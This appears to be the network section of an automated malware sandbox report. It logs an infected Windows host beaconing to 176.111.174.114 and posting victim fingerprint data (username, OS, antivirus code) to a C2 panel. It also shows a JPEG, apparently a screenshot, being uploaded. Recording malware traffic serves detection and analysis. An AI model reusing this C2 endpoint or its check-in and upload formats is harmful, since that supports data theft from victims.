131	176.111.174.114	80	192.168.2.5	49783	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:43.442821980 CEST	1902	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1310	192.168.2.5	50507	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1311	176.111.174.114	80	192.168.2.5	50507	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1312	192.168.2.5	50508	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1313	192.168.2.5	50509	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1314	176.111.174.114	80	192.168.2.5	50508	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1315	192.168.2.5	50510	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1316	176.111.174.114	80	192.168.2.5	50510	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1317	176.111.174.114	80	192.168.2.5	50509	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1318	192.168.2.5	50512	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1319	176.111.174.114	80	192.168.2.5	50512	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.5	49784	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:43.662713051 CEST	1902	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1320	192.168.2.5	50513	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1321	176.111.174.114	80	192.168.2.5	50513	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1322	192.168.2.5	50514	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1323	176.111.174.114	80	192.168.2.5	50514	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1324	192.168.2.5	50515	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1325	176.111.174.114	80	192.168.2.5	50515	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1326	192.168.2.5	50517	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1327	176.111.174.114	80	192.168.2.5	50517	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1328	192.168.2.5	50518	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1329	176.111.174.114	80	192.168.2.5	50518	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	176.111.174.114	80	192.168.2.5	49784	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:43.774471045 CEST	1903	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1330	192.168.2.5	50519	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1331	176.111.174.114	80	192.168.2.5	50519	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1332	192.168.2.5	50520	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1333	192.168.2.5	50521	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1334	176.111.174.114	80	192.168.2.5	50520	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1335	192.168.2.5	50522	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1336	176.111.174.114	80	192.168.2.5	50522	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1337	176.111.174.114	80	192.168.2.5	50521	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1338	192.168.2.5	50524	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1339	176.111.174.114	80	192.168.2.5	50524	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.5	49785	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:43.992682934 CEST	1903	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1340	192.168.2.5	50525	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1341	176.111.174.114	80	192.168.2.5	50525	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1342	192.168.2.5	50526	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1343	176.111.174.114	80	192.168.2.5	50526	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1344	192.168.2.5	50528	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1345	176.111.174.114	80	192.168.2.5	50528	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1346	192.168.2.5	50529	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1347	176.111.174.114	80	192.168.2.5	50529	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1348	192.168.2.5	50530	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1349	176.111.174.114	80	192.168.2.5	50530	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	176.111.174.114	80	192.168.2.5	49785	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:44.092027903 CEST	1904	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1350	192.168.2.5	50531	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1351	176.111.174.114	80	192.168.2.5	50531	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1352	192.168.2.5	50532	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1353	192.168.2.5	50533	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1354	176.111.174.114	80	192.168.2.5	50533	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1355	192.168.2.5	50534	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1356	176.111.174.114	80	192.168.2.5	50532	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1357	176.111.174.114	80	192.168.2.5	50534	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1358	192.168.2.5	50536	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1359	176.111.174.114	80	192.168.2.5	50536	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.5	49786	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:44.308525085 CEST	1904	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1360	192.168.2.5	50537	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1361	176.111.174.114	80	192.168.2.5	50537	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1362	192.168.2.5	50538	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1363	176.111.174.114	80	192.168.2.5	50538	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1364	192.168.2.5	50540	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1365	176.111.174.114	80	192.168.2.5	50540	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1366	192.168.2.5	50541	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1367	176.111.174.114	80	192.168.2.5	50541	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1368	192.168.2.5	50542	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1369	176.111.174.114	80	192.168.2.5	50542	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	176.111.174.114	80	192.168.2.5	49786	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:44.413302898 CEST	1905	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1370	192.168.2.5	50543	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1371	176.111.174.114	80	192.168.2.5	50543	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1372	192.168.2.5	50544	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1373	192.168.2.5	50545	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1374	176.111.174.114	80	192.168.2.5	50544	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1375	192.168.2.5	50546	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1376	176.111.174.114	80	192.168.2.5	50546	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1377	176.111.174.114	80	192.168.2.5	50545	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1378	192.168.2.5	50548	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1379	176.111.174.114	80	192.168.2.5	50548	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.5	49787	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:44.569696903 CEST	1918	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185550 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 